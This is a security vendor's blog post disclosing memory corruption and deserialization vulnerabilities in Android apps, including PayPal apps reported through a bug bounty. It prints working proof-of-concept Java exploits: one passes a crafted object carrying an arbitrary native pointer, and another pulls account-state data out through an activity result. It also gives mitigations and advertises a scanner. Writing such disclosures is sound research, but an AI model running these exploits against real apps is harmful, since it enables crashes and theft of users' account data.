In today’s blog, we’ll discuss memory corruption vulnerabilities in Android apps and how they can be exploited. At the end of the article, we’ll show how we found such a vulnerability in PayPal apps and what the result could be.

If you’re a developer, you can integrate Oversecured into your CI/CD to proactively secure your apps against these vulnerabilities. We have solutions that continuously monitor apps and alert you if any new vulnerabilities are detected. Contact us here to learn more and get a demo.

If you’re a security researcher, you can automate the process by using Oversecured’s mobile app scanner to scan for these bugs. All you have to do is sign up and upload your app files. Our scanner will take care of the rest.

Memory corruption bugs occur when a program’s memory is modified by an attacker in a way that was not intended by the original program. This modification can lead to serious security vulnerabilities, including allowing an attacker to leak sensitive information or execute arbitrary code.

Memory corruption vulnerabilities are one of the most popular bug classes for Android apps. There are several SDKs and mobile apps that are still vulnerable to these bugs. We were able to find and exploit this bug in many bug bounty programs, including PayPal. In this article, we’ll discuss some common attack vectors for exploiting memory corruption bugs.

This is a very common error that often occurs when an attacker can control a pointer to a native object. We’ll discuss this in detail in the next section, but you can see an example of this at Oversecured Vulnerable Android App in the MemoryCorruptionSerializable class.

public class MemoryCorruptionSerializable implements Serializable {
    static {
        System.loadLibrary("ovaa");
    }

    private static final long serialVersionUID = 0L;

    private long ptr;

    private native void freePtr(long ptr);

    protected void finalize() throws Throwable {
        If (ptr != 0) {
            freePtr(ptr);
            ptr = 0;
        }
    }
}

The following steps had to be followed to exploit this bug:

  1. Find an exported component that either automatically receives data from the intent (e.g., Intent.getStringExtra(...)) or checks for the existence of a key (Intent.hasExtra(...)). As a result, all nested objects will be automatically deserialized.

  2. Pass a MemoryCorruptionSerializable object in the intent and specify an arbitrary address for ptr.

To do this, you can copy an existing class from a vulnerable app and paste it into the attacking app. Remove any unnecessary methods, such as finalize.

This will lead to an attacker-controlled address being accessed in the vulnerable app. A successful exploit exists for a vulnerability in the OpenSSLX509Certificate standard library.

Oversecured’s mobile app scanner can be used to detect this vulnerability:

vulnerability

There are a number of advanced parsers that allow you to turn JSON text into arbitrary Java objects and vice versa. These include Google Gson, FasterXML, Jackson, Alibaba’s Fastjson, and others.

Model example:

public class UserModel {
    public String firstName;
    public String lastName;
    //...
}

and an example of use:

String data = "{'firstName':'Foo', 'lastName':'Bar', ...}";
Gson gson = new GsonBuilder().create();
UserModel user = gson.fromJson(data, UserModel.class);

These parsers don’t require the model to be Serializable, but create and initialize arbitrary classes.

The vulnerability appears when an attacker can control both the class name and the JSON payload. In this case, it can initialize arbitrary objects with arbitrary data.

In OVAA, we provide an example of such a vulnerable class in MemoryCorruptionParcelable.

The steps to reproduce will be exactly the same as in the previous section: find a component that automatically deserializes the object, then pass a specially constructed MemoryCorruptionSerializable to it.

Classes from the Android standard library, such as VirtualRefBasePtr, can be used to cause a memory corruption.

Oversecured’s vulnerability scanner also detects such issues:

vulnerability

We followed PayPal’s standard disclosure policy and worked with PayPal’s Bug Bounty Team on this disclosure. PayPal in no way endorses Oversecured or its products and services.

Several PayPal apps had the class com.paypal.android.p2pmobile.common.utils.ParcelableJsonWrapper with the following code:

vulnerability

The memory corruption attack turned out as follows:

Intent intent = new Intent();
intent.setData(Uri.parse("paypal://deeplink/"));
intent.putExtra("evil", new ParcelableJsonWrapper("com.android.internal.util.VirtualRefBasePtr", "{'mNativePtr':3735928551}"));
startActivity(intent);

the ParcelableJsonWrapper class in the attacking app was rewritten as follows:

package com.paypal.android.p2pmobile.common.utils;

import android.os.Parcel;
import android.os.Parcelable;

public class ParcelableJsonWrapper implements Parcelable {
    public static Parcelable.Creator<ParcelableJsonWrapper> CREATOR = new Parcelable.Creator<ParcelableJsonWrapper>() {

        public ParcelableJsonWrapper createFromParcel(Parcel parcel) {
            return new ParcelableJsonWrapper(parcel);
        }

        public ParcelableJsonWrapper[] newArray(int i) {
            return new ParcelableJsonWrapper[i];
        }
    };

    public int describeContents() {
        return 0;
    }

    private String className;
    private String jsonData;

    public ParcelableJsonWrapper(String className, String jsonData) {
        this.className = className;
        this.jsonData = jsonData;
    }

    private ParcelableJsonWrapper(Parcel parcel) {
        this.className = parcel.readString();
        this.jsonData = parcel.readString();
    }

    public void writeToParcel(Parcel parcel, int i) {
        parcel.writeString(this.className);
        parcel.writeString(this.jsonData);
    }
}

And we got a stack trace of the error:

vulnerability

We also managed to hijack user data through this error in an interesting way.

The fact is that JSON <-> Java parsers work in a similar way and create the first instance of an object (in this case, the constructor with no arguments is called) only after the fields specified in JSON are assigned their values through reflection.

Conditions to fulfill for a successful exploitation

  1. Find an object that assigns sensitive data to the fields either in the constructor without arguments or during the declaration.
  2. Find an activity that returns the intent sent by the attacker or its extras via setResult(...).

If an attacker can fulfill both of these conditions, the data assigned to the fields can be stolen.

That’s just what we managed to do with PayPal. For the first one, we found the class com.paypal.android.foundation.presentation.state.AuthRememberedStateManager and part of its declaration:

public class AuthRememberedStateManager {
    //....
    public BiometricUserState biometricUserState = new BiometricUserState();
    private KeepMeLoggedInConsentState keepMeLoggedInConsentState = new KeepMeLoggedInConsentState();
    private AccountState mAccountState = AccountState.getInstance(); // this initialization contains sensitive account info
    private CreatePinConsentState mCreatePinConsentState = new CreatePinConsentState();
    private DeviceConfirmationState mDeviceConfirmationState = new DeviceConfirmationState();
    private LoginSkipCounterState mLoginSkipCounterState = new LoginSkipCounterState();
    private TrustedPrimaryDeviceState mTrustedPrimaryDeviceState = new TrustedPrimaryDeviceState();
    private UserPreviewUserState mUserPreviewUserState = new UserPreviewUserState();
    private PinUserState pinUserState = new PinUserState();
    private RememberedDeviceState rememberedDeviceState = new RememberedDeviceState();
    private RememberedUserState rememberedUserState = new RememberedUserState();

For the second step, we found the activity com.paypal.android.foundation.interapp.presentation.activity.SinglePaymentNativeCheckoutActivity which, if no required params are provided, puts getIntent().getExtras() to setResult(...) in its superclass com.paypal.android.foundation.presentation.activity.InterAppPaymentActivity:

public void onPostCancel(Bundle bundle) { // bundle == getIntent().getExtras()
    Intent intent = new Intent();
    if (bundle != null) {
        intent.putExtras(bundle);
    }
    setResult(0, intent);
    finish();
}

public void onPostSuccess(Bundle bundle) { // bundle == getIntent().getExtras()
    Intent intent = new Intent();
    if (bundle != null) {
        intent.putExtras(bundle);
    }
    setResult(-1, intent);
    finish();
}

Proof of Concept:

public class MainActivity extends Activity {
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = new Intent("com.paypal.android.lib.authenticator.activity.v2.TouchActivity");
        intent.putExtra("evil", new ParcelableJsonWrapper("com.paypal.android.foundation.presentation.state.AuthRememberedStateManager","{}"));
        startActivityForResult(intent, 0);
    }

    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        Log.d("evil", "Evil data: " + data.getParcelableExtra("evil").toString());
    }
}

As a result, JSON-wrapped user account details appeared in the logs.

  1. Preventing the use of attacker-controlled data to create native pointers includes storing native pointers in Serializable classes (without fields marked as transient). It also includes the denying the attacker the ability to control offsets, e.g., “size” values used to create a pointer.
  2. Don’t use parsers with Parcelable classes to dynamically create objects and allow the attacker-controlled class name to be unwrapped. Always use predefined values.

It can be extremely helpful to detect this bug early detection. Oversecured’s mobile app scanner lets users do that and notifies them in the scan report about all the vectors mentioned above. Contact us here, and we can provide you with a demo to try it out.